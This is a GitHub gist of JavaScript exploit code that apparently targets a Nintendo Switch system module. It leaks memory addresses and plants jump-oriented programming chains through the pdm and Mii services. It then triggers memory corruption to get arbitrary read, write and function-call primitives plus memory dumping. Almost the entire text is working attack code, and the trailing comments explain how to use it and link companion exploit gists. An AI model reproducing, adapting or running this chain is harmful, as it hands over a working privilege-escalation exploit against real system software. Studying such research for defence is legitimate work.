Last active
January 22, 2020 19:41
-
-
Save kgsws/0e74ab6885188348376f6d54da5d3441 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sc.killAutoHandle(); | |
function c32to8(data) | |
{ | |
var len = data.length; | |
var ret = new Uint8Array(len * 4); | |
var offs = 0; | |
for(i = 0; i < len; i++) | |
{ | |
ret[offs++] = data[i] & 0xFF; | |
ret[offs++] = (data[i] >>> 8) & 0xFF; | |
ret[offs++] = (data[i] >>> 16) & 0xFF; | |
ret[offs++] = data[i] >>> 24; | |
} | |
return ret; | |
} | |
function c64to8(data) | |
{ | |
var len = data.length; | |
var ret = new Uint8Array(len * 8); | |
var offs = 0; | |
for(i = 0; i < len; i++) | |
{ | |
ret[offs++] = data[i][0] & 0xFF; | |
ret[offs++] = (data[i][0] >>> 8) & 0xFF; | |
ret[offs++] = (data[i][0] >>> 16) & 0xFF; | |
ret[offs++] = (data[i][0] >>> 24) & 0xFF; | |
ret[offs++] = data[i][1] & 0xFF; | |
ret[offs++] = (data[i][1] >>> 8) & 0xFF; | |
ret[offs++] = (data[i][1] >>> 16) & 0xFF; | |
ret[offs++] = (data[i][1] >>> 24) & 0xFF; | |
} | |
return ret; | |
} | |
function c8to32(data) | |
{ | |
var len = data.length / 4; | |
var ret = new Uint32Array(len); | |
var offs = 0; | |
for(i = 0; i < len; i++) | |
{ | |
ret[i] = data[offs++]; | |
ret[i] |= data[offs++] << 8; | |
ret[i] |= data[offs++] << 16; | |
ret[i] |= data[offs++] << 24; | |
} | |
return ret; | |
} | |
function _crc(data, len) | |
{ | |
var crc = 0; | |
for(j = 0; j < len; j++) | |
{ | |
var v = 0x80; | |
for(i = 0; i < 8; i++) | |
{ | |
var xorf = crc & 0x8000; | |
crc = (crc << 1) & 0xFFFF | |
if(data[j] & v) | |
crc = (crc + 1) & 0xFFFF; | |
if(xorf) | |
crc ^= 0x1021; | |
v >>= 1; | |
} | |
} | |
return crc; | |
} | |
function writePdm(payload) | |
{ | |
// var data = payload.buffer; | |
// utils.hexdump("dat", data); | |
sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk(); | |
// sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk(); | |
sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk(); | |
} | |
function getMiiAuthorId() | |
{ | |
return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data); | |
} | |
function crcMiiBuf(b, authorid) | |
{ | |
var ret = new Uint8Array(b.length + 4); | |
ret.set(b); | |
var crc1 = _crc(ret, b.length + 2); | |
ret[b.length] = crc1 >> 8; | |
ret[b.length+1] = crc1 & 0xFF; | |
var temp = new Uint8Array(authorid.length + ret.length); | |
temp.set(authorid); | |
temp.set(ret, authorid.length); | |
var crc2 = _crc(temp, temp.length); | |
ret[b.length+2] = crc2 >> 8; | |
ret[b.length+3] = crc2 & 0xFF; | |
return ret; | |
} | |
function AddOrReplace(hnd, key, unm, authorid) | |
{ | |
var crcbuf = new Uint8Array(unm.length + key.length); | |
crcbuf.set(unm); | |
crcbuf.set(key, unm.length); | |
crcbuf = crcMiiBuf(crcbuf, authorid); | |
var new_mii = new Uint8Array(crcbuf.length + 4); | |
new_mii.set(crcbuf); | |
var new_mii_as_words = c8to32(new_mii); | |
var ipc = sc.ipcMsg(13); | |
ipc.datau32.apply(ipc, new_mii_as_words); | |
ipc.sendTo(hnd).assertOk(); | |
} | |
function Move(hnd, key, pos) | |
{ | |
var data = new Uint32Array(key.length / 4 + 1); | |
data.set(c8to32(key)); | |
data[data.length - 1] = pos; | |
var ipc = sc.ipcMsg(12); | |
ipc.datau32.apply(ipc, data); | |
ipc.sendTo(hnd).assertOk(); | |
} | |
function Delete(hnd, key) | |
{ | |
var data = c8to32(key); | |
var ipc = sc.ipcMsg(14); | |
ipc.datau32.apply(ipc, data); | |
ipc.sendTo(hnd).assertOk(); | |
} | |
function GetCount(hnd) | |
{ | |
ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0]; | |
// utils.log("mii count is " + ret.toString()); | |
return ret; | |
} | |
function GetDefault(hnd, offset) | |
{ | |
ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk(); | |
return ret.data; | |
} | |
function GetLoadBase(hnd, authorid) | |
{ | |
var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]); | |
var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]); | |
AddOrReplace(hnd, key, unm, authorid); | |
var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4); | |
Delete(hnd, key); | |
return utils.add2([data[5], data[6]], -0x9c540); | |
} | |
function Wipe(hnd) | |
{ | |
var buf = new Uint8Array(100*0x44); | |
var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0]; | |
if(!count) | |
return; | |
utils.log("mii count to delete " + count.toString()); | |
var key = new Uint8Array(16); | |
for(mii = 0; mii < count; mii++) | |
{ | |
for(j = 0; j < 16; j++) | |
key[j] = buf[j + 48 + mii * 0x44]; | |
Delete(hnd, key); | |
} | |
} | |
function sdb_call(addr, arg0) | |
{ | |
// access returned X0 and X1 at pdmBase + 0x2e8 if 32bit is not enough | |
// setup arguments (128 = X0; up to X8) | |
sdb_write8(utils.add2(sdbPluSP, 128), arg0); | |
// set call address | |
sdb_write8(utils.add2(pdmBase, 0x2a0), addr); | |
ipcData[5] = pdmCallE[0]; | |
ipcData[6] = pdmCallE[1]; | |
var ipc = sc.ipcMsg(1); | |
ipc.datau32.apply(ipc, ipcData); | |
return ipc.sendTo('pl:u').cmdId; // return only 32bit result - faster | |
} | |
function sdb_sp() | |
{ | |
// there is an offset between returned value and actualy saved one | |
// i do not know if it is possible to get random addres that will make this fail | |
// if so, just use read4 on pdmBase + 0x2e0 and from result subtract 0x3A8 instead | |
ipcData[5] = pdmLeakE[0]; | |
ipcData[6] = pdmLeakE[1]; | |
var sp = [0,0] | |
var ipc = sc.ipcMsg(1); | |
ipc.datau32.apply(ipc, ipcData); | |
sp[0] = ipc.sendTo('pl:u').cmdId; | |
sp[1] = sdb_read4(utils.add2(pdmBase, 0x2e0 + 4)); // 32bit MSB | |
return utils.sub2(sp, 0x328); | |
} | |
function sdb_write8(addr, value) | |
{ | |
ipcData[3] = addr[0]; | |
ipcData[4] = addr[1]; | |
ipcData[5] = pdmEntry[0]; | |
ipcData[6] = pdmEntry[1]; | |
ipcData[9] = value[0]; | |
ipcData[10] = value[1]; | |
ipcData[13] = ipcGat13w[0]; | |
ipcData[14] = ipcGat13w[1]; | |
var ipc = sc.ipcMsg(1); | |
ipc.datau32.apply(ipc, ipcData); | |
return ipc.sendTo('pl:u').cmdId; | |
} | |
function sdb_read4(addr) | |
{ | |
ipcData[3] = pdmNext[0]; | |
ipcData[4] = pdmNext[1]; | |
ipcData[5] = pdmEntry[0]; | |
ipcData[6] = pdmEntry[1]; | |
ipcData[9] = addr[0]; | |
ipcData[10] = addr[1]; | |
ipcData[13] = ipcGat13r[0]; | |
ipcData[14] = ipcGat13r[1]; | |
var ipc = sc.ipcMsg(1); | |
ipc.datau32.apply(ipc, ipcData); | |
return ipc.sendTo('pl:u').cmdId; | |
} | |
function sdb_memdump(addr, count, name) | |
{ | |
ipcData[3] = pdmNext[0]; | |
ipcData[4] = pdmNext[1]; | |
ipcData[5] = pdmEntry[0]; | |
ipcData[6] = pdmEntry[1]; | |
ipcData[13] = ipcGat13r[0]; | |
ipcData[14] = ipcGat13r[1]; | |
if(count & 3) | |
{ | |
count &= 0xFFFFFFFC; | |
count += 4; | |
} | |
utils.log("reading " + count.toString() + " bytes from sdb@" + utils.paddr(addr)); | |
count /= 4; | |
var buf = new Uint32Array(128); | |
var ii; | |
var idx = 0; | |
for(ii = 0; ii < count; ii++) | |
{ | |
ipcData[9] = addr[0]; | |
ipcData[10] = addr[1]; | |
var ipc = sc.ipcMsg(1); | |
ipc.datau32.apply(ipc, ipcData); | |
buf[idx] = ipc.sendTo('pl:u').cmdId; | |
addr = utils.add2(addr, 4); | |
idx++; | |
if(idx == 128) | |
{ | |
idx = 0; | |
sc.memdump(buf, buf.byteLength, "sdb/" + name); | |
utils.log("got " + (ii*4+4).toString() + " bytes"); | |
} | |
} | |
if(idx) | |
sc.memdump(buf, idx*4, "sdb/" + name); | |
} | |
function add64(buf, offs, data) | |
{ | |
buf[offs++] = data[0] & 0xFF; | |
buf[offs++] = (data[0] >>> 8) & 0xFF; | |
buf[offs++] = (data[0] >>> 16) & 0xFF; | |
buf[offs++] = (data[0] >>> 24) & 0xFF; | |
buf[offs++] = data[1] & 0xFF; | |
buf[offs++] = (data[1] >>> 8) & 0xFF; | |
buf[offs++] = (data[1] >>> 16) & 0xFF; | |
buf[offs++] = (data[1] >>> 24) & 0xFF; | |
} | |
// actual miihax | |
handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; | |
utils.log("mii handle is 0x" + handle.toString(16)); | |
authorid = getMiiAuthorId(); | |
utils.log("Author ID: " + Array.apply([], authorid).join(",")); | |
sdbBase = GetLoadBase(handle, authorid); | |
utils.log("sdbBase at " + utils.paddr(sdbBase)); | |
pdmBase = utils.add2(sdbBase, 0x150ec0); | |
utils.log("pdmBase at " + utils.paddr(pdmBase)); | |
returnAddr = utils.add2(sdbBase, 0x2fc58); | |
// rewrite pl:u cmd1 | |
writeAddr = utils.add2(sdbBase, 0x99A98); | |
writeValue = utils.add2(sdbBase, 0x017d80); // gatget 0 | |
var buf = new Uint8Array(0x700); | |
/// JOP chains | |
// notice how nicely are these values compacted | |
// miihax arb.write | |
add64(buf, 0x0000, utils.add2(pdmBase, 0x0020)); // A | |
add64(buf, 0x0008, writeAddr); | |
add64(buf, 0x0010, utils.add2(sdbBase, 0x2d170)); // *B | |
add64(buf, 0x0018, utils.add2(sdbBase, 0x6740)); | |
add64(buf, 0x0020, utils.add2(pdmBase, 0x0010)); // *A; B | |
add64(buf, 0x0028, utils.add2(sdbBase, 0x7160)); // *D | |
add64(buf, 0x0030, utils.add2(sdbBase, 0x53430)); // *A + 0x10 | |
add64(buf, 0x0038, utils.add2(pdmBase, 0x0040)); // *A + 0x18; C | |
add64(buf, 0x0040, utils.add2(pdmBase, 0x0028)); // *C; D | |
add64(buf, 0x0048, utils.add2(pdmBase, 0x0060)); // *E; F | |
add64(buf, 0x0050, utils.add2(sdbBase, 0x2f090)); // *D + 0x28 | |
add64(buf, 0x0058, utils.add2(pdmBase, 0x0048)); // *C + 0x18; E | |
add64(buf, 0x0060, utils.add2(pdmBase, 0x0060)); // *F; G | |
add64(buf, 0x0068, utils.add2(sdbBase, 0x7160)); // *G + 0x08 | |
add64(buf, 0x0070, utils.add2(sdbBase, 0x7160)); // *B + 0x60 | |
add64(buf, 0x0078, utils.add2(pdmBase, 0x0080)); // *F + 0x18; H | |
add64(buf, 0x0080, utils.add2(pdmBase, 0x0098)); // *H; I | |
add64(buf, 0x0088, utils.add2(sdbBase, 0x2d5f8)); // *F + 0x28 | |
add64(buf, 0x0090, utils.add2(sdbBase, 0x47cc8)); // *F + 0x30 | |
add64(buf, 0x0098, utils.add2(sdbBase, 0x7218)); // *G + 0x38 | |
add64(buf, 0x00a0, returnAddr); // *I + 0x08 | |
add64(buf, 0x00a8, writeValue); // *I + 0x10 | |
// note: b0 - b8 used | |
add64(buf, 0x00c0, utils.add2(sdbBase, 0x2d5f8)); // *I + 0x28 | |
add64(buf, 0x00c8, utils.add2(sdbBase, 0x4b46c)); // *I + 0x30 | |
// pluhax arb.read and arb.write; both share 'first stage' | |
add64(buf, 0x00b0, utils.add2(pdmBase, 0x0c0)); // A | |
add64(buf, 0x00b8, utils.add2(pdmBase, 0x0d8)); // B | |
// note: c0 - c8 used | |
add64(buf, 0x00d0, utils.add2(sdbBase, 0x0026cc)); // *A + 16; gatget 4 | |
add64(buf, 0x00d8, utils.add2(pdmBase, 0x110)); // *B; C | |
add64(buf, 0x00e0, utils.add2(pdmBase, 0x148)); // *E; F | |
add64(buf, 0x00e8, utils.add2(pdmBase, 0x120)); // *E + 8; G | |
add64(buf, 0x00f0, utils.add2(sdbBase, 0x0033d0)); // *A + 48; gatget 3 | |
add64(buf, 0x00f8, utils.add2(sdbBase, 0x01349c)); // *B + 32; gatget 10 | |
add64(buf, 0x0100, utils.add2(pdmBase, 0x0e0)); // *D + 8; E | |
add64(buf, 0x0108, utils.add2(sdbBase, 0x025d08)); // *B + 48; gatget 6 | |
add64(buf, 0x0110, utils.add2(sdbBase, 0x04de9c)); // *C; gatget 5 | |
add64(buf, 0x0118, utils.add2(sdbBase, 0x014134)); // *C + 8; gatget 7 | |
add64(buf, 0x0120, utils.add2(pdmBase, 0x158)); // *G; H | |
add64(buf, 0x0128, utils.add2(sdbBase, 0x02d6c8)); // *C + 24; gatget 8 | |
add64(buf, 0x0130, utils.add2(pdmBase, 0x168)); // Z | |
add64(buf, 0x0138, utils.add2(pdmBase, 0x0f8)); // *B + 96; D | |
add64(buf, 0x0140, utils.add2(sdbBase, 0x00638c)); // *B + 104; gatget 11 | |
add64(buf, 0x0148, utils.add2(sdbBase, 0x04dbf8)); // *F; gatget 12 | |
add64(buf, 0x0150, utils.add2(sdbBase, 0x02de0c)); // *F + 8; gatget14w | |
add64(buf, 0x0158, utils.add2(sdbBase, 0x020C84)); // *G; returnW; *V + 40; returnR | |
add64(buf, 0x0160, utils.add2(sdbBase, 0x002850)); // *G + 8; gatget16w | |
add64(buf, 0x0168, utils.add2(pdmBase, 0x170)); // *Z; Y | |
add64(buf, 0x0170, utils.add2(pdmBase, 0x1a8)); // *X; W | |
add64(buf, 0x0178, utils.add2(pdmBase, 0x180)); // *X + 8; U | |
add64(buf, 0x0180, utils.add2(pdmBase, 0x1b8)); // *U; T | |
add64(buf, 0x0188, utils.add2(sdbBase, 0x0071e0)); // *F + 64; gatget15w | |
add64(buf, 0x0190, utils.add2(pdmBase, 0x130)); // *X + 32; V | |
add64(buf, 0x0198, utils.add2(sdbBase, 0x04dbf8)); // *Y + 40; gatget 15r | |
add64(buf, 0x01a0, utils.add2(sdbBase, 0x002850)); // *X + 48; gatget 16r | |
add64(buf, 0x01a8, utils.add2(sdbBase, 0x02dd5c)); // *W; gatget 14r | |
add64(buf, 0x01b0, utils.add2(pdmBase, 0x170)); // *Z + 72; X | |
add64(buf, 0x01b8, utils.add2(sdbBase, 0x035180)); // *T; gatget 17r | |
// pluhax leak SP | |
add64(buf, 0x01c0, utils.add2(pdmBase, 0x1c8)); // *C; D | |
add64(buf, 0x01c8, utils.add2(sdbBase, 0x035180)); // *D; gatget 10 | |
add64(buf, 0x01d0, utils.add2(sdbBase, 0x002850)); // *D + 8; gatget 9 | |
add64(buf, 0x01d8, utils.add2(sdbBase, 0x011b38)); // gatget 7 | |
add64(buf, 0x01e0, utils.add2(pdmBase, 0x0c0)); // shared with arb.* | |
add64(buf, 0x01e8, utils.add2(pdmBase, 0x1f0)); // A | |
add64(buf, 0x01f0, utils.add2(pdmBase, 0x228)); // *A; gatget 5 ptr | |
add64(buf, 0x01f8, utils.add2(pdmBase, 0x1f8)); // *A + 8; B | |
add64(buf, 0x0200, utils.add2(pdmBase, 0x1c0)); // *B + 8; C | |
add64(buf, 0x0208, utils.add2(pdmBase, 0x218)); // *C + 72; E | |
add64(buf, 0x0210, utils.add2(pdmBase, 0x130)); // *A + 32; return ptr; shared with arb.* | |
add64(buf, 0x0218, utils.add2(pdmBase, 0x1d8)); // *E; gatget 7 ptr | |
add64(buf, 0x0220, utils.add2(sdbBase, 0x02d8d4)); // *A + 48; gatget 6 | |
add64(buf, 0x0228, utils.add2(sdbBase, 0x04de98)); // gatget 5 | |
// almost filled | |
add64(buf, 0x0290, utils.add2(sdbBase, 0x04a3a8)); // *D + 200; gatget 8 | |
//add64(buf, 0x02e0, 0); // *C + 288; leaked SP | |
// pluhax arb.call | |
add64(buf, 0x0230, utils.add2(pdmBase, 0x0c0)); // shared with arb.* | |
add64(buf, 0x0238, utils.add2(pdmBase, 0x240)); // A | |
add64(buf, 0x0240, utils.add2(pdmBase, 0x268)); // *A; gatget 5 ptr | |
add64(buf, 0x0248, utils.add2(pdmBase, 0x258)); // *A + 8; B | |
add64(buf, 0x0250, utils.add2(pdmBase, 0x260)); // *B - 8; C | |
add64(buf, 0x0258, utils.add2(pdmBase, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr | |
add64(buf, 0x0260, utils.add2(pdmBase, 0x1b8)); // gatget 11 ptr; shared with arb.* | |
add64(buf, 0x0268, utils.add2(sdbBase, 0x014104)); // gatget 5 | |
add64(buf, 0x0270, utils.add2(pdmBase, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.* | |
add64(buf, 0x0278, utils.add2(sdbBase, 0x01349c)); // *C + 24; gatget 6 | |
add64(buf, 0x0280, utils.add2(sdbBase, 0x02850)); // pdmNext1 + 48; gatget 10 | |
//add64(buf, 0x02a0, utils.add2(sdbBase, 0x2fc68)); // *A + 96; callAddr | |
add64(buf, 0x02a8, utils.add2(sdbBase, 0x002c0)); // *A + 104; gatget 7 | |
add64(buf, 0x02d0, utils.add2(sdbBase, 0x4de98)); // pdmNext0; gatget 9 | |
//add64(buf, 0x02e8, 0); // storeAddr; returned X0 | |
//add64(buf, 0x02f0, 0); // storeAddr+8; returned X1 | |
add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out | |
utils.log("writePdm ..."); | |
writePdm(buf); // seems like it works reliably only once | |
key = c64to8([pdmBase, [0xde000080, 0]]); | |
var payload = new Uint8Array(48); | |
add64(payload, 24, sdbBase); // 32bit LSB is kinda limited, so is 32bit MSB | |
// payload 26 and 27 is limited to this list: | |
// 0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136 | |
//payload[26] = 0x78; | |
//payload[27] = 0x40; | |
//payload[28] = 1; // can't be zero | |
AddOrReplace(handle, key, payload, authorid); | |
utils.log("trigger ..."); | |
Move(handle, key, 100); | |
utils.log("cleanup ..."); | |
sc.svcCloseHandle(handle); | |
sc.killAutoHandle(); | |
// prepare | |
utils.log("entering pluhax ..."); | |
// arb.read and arb.write | |
ipcGat1 = utils.add2(sdbBase, 0x00f194); | |
ipcGat2 = utils.add2(sdbBase, 0x03f8a8); | |
ipcGat9 = utils.add2(sdbBase, 0x0304c0); | |
ipcGat13r = utils.add2(sdbBase, 0x02d8d4); | |
ipcGat13w = utils.add2(sdbBase, 0x029b50); | |
pdmEntry = utils.add2(pdmBase, 0x00b0); // JOP chain; shared for arb.read and arb.write | |
pdmNext = utils.add2(pdmBase, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130) | |
// sp leak | |
pdmLeakE = utils.add2(pdmBase, 0x1e0); | |
// arb.call | |
pdmCallE = utils.add2(pdmBase, 0x230); | |
// shared for all calls (or ignored in some) | |
ipcData = new Uint32Array(24); | |
ipcData[15] = ipcGat1[0]; | |
ipcData[16] = ipcGat1[1]; | |
ipcData[17] = ipcGat9[0]; | |
ipcData[18] = ipcGat9[1]; | |
ipcData[19] = ipcGat2[0]; | |
ipcData[20] = ipcGat2[1]; | |
// run | |
utils.log("trigger ..."); // return address: 0x020C84 | |
// get SP | |
sdbPluSP = sdb_sp(); | |
utils.log("pluSP at " + utils.paddr(sdbPluSP)); | |
// arb.call - prepare stack (permanent; maybe check after some calls?) | |
sdb_write8(utils.add2(sdbPluSP, 200), utils.add2(pdmBase, 0x2e8)); // storeAddr (pdmNext0+24) | |
sdb_write8(utils.add2(sdbPluSP, 216), utils.add2(sdbBase, 0x579a8)); // ROP chain 0 | |
sdb_write8(utils.add2(sdbPluSP, 248), utils.add2(sdbBase, 0x01d44)); // ROP chain 1 | |
sdb_write8(utils.add2(sdbPluSP, 296), utils.add2(sdbBase, 0x4e950)); // ROP chain 2 | |
sdb_write8(utils.add2(sdbPluSP, 488), utils.add2(sdbBase, 0x1a0b8)); // ROP chain 3 | |
sdb_write8(utils.add2(sdbPluSP, 776), utils.add2(sdbBase, 0x3ca1c)); // gatget 8 | |
sdb_write8(utils.add2(sdbPluSP, 456), utils.add2(pdmBase, 0x2d0)); // pdmNext0 | |
sdb_write8(utils.add2(sdbPluSP, 760), utils.add2(pdmBase, 0x250)); // pdmNext1 | |
// write / read test | |
testAddr = utils.add2(pdmBase, 0x300); | |
// write value | |
utils.log("... write"); | |
sdb_write8(testAddr, [0x29910BAF, 0x11223344]); | |
// read back | |
utils.log("... read"); | |
retVal = sdb_read4(testAddr); | |
utils.log("read value: 0x" + retVal.toString(16)); | |
// test call | |
utils.log("... call"); | |
//retVal = sdb_call(utils.add2(sdbBase, 0x02868), [0xF00D1234, 0x1122aabb]); // just RET | |
retVal = sdb_call(utils.add2(sdbBase, 0x2fc60), [1000000000,0]); // svcSleepThread | |
//retVal = sdb_call(utils.add2(sdbBase, 0x2fc68), utils.add2(pdmBase, 0x300)); // svcGetThreadPriority | |
utils.log("return value: 0x" + retVal.toString(16)); | |
// this is how to access full 64bit X0 | |
rX0 = [sdb_read4(utils.add2(pdmBase, 0x2e8)), sdb_read4(utils.add2(pdmBase, 0x2ec))]; | |
utils.log("read X0: " + utils.paddr(rX0)); | |
//sdb_memdump(sdbPluSP, 0x400, "stack.bin"); | |
//sdb_memdump(pdmBase, 0x700, "pdm.bin"); | |
//sdb_memdump(sdbBase, 0x400, "sdb.bin"); | |
//sdb_memdump(sdbBase, 0x173000, "sdb.bin"); // dump sdb | |
utils.log("done"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
These are arb. read, arb. write and arb. call JOP chains for sdb module.
Arb. read JOP chain can be used to dump sdb from memory. (uncomment that part if you wish)
Arb. call is ... self describing?
First you have to reset sdb: https://gist.github.com/kgsws/1806750e2b7dc5eb9b8170ef52d7189b#gistcomment-2249610
Note: it takes 2 seconds to dump 512 bytes, and you want to dump about 1,5MB
Arb.Read: https://gist.github.com/kgsws/4c321471ebbe747d5ce6c2f652c77294
Arb.Write: https://gist.github.com/kgsws/2f7722d7fa01e0b68f3d66d273da2872
GetStack: https://gist.github.com/kgsws/25f9b2b2b5f6ce07d681733edc21c6ef
Arb.Call: https://gist.github.com/kgsws/f135ffbfff3a7a9d55517189d31d2386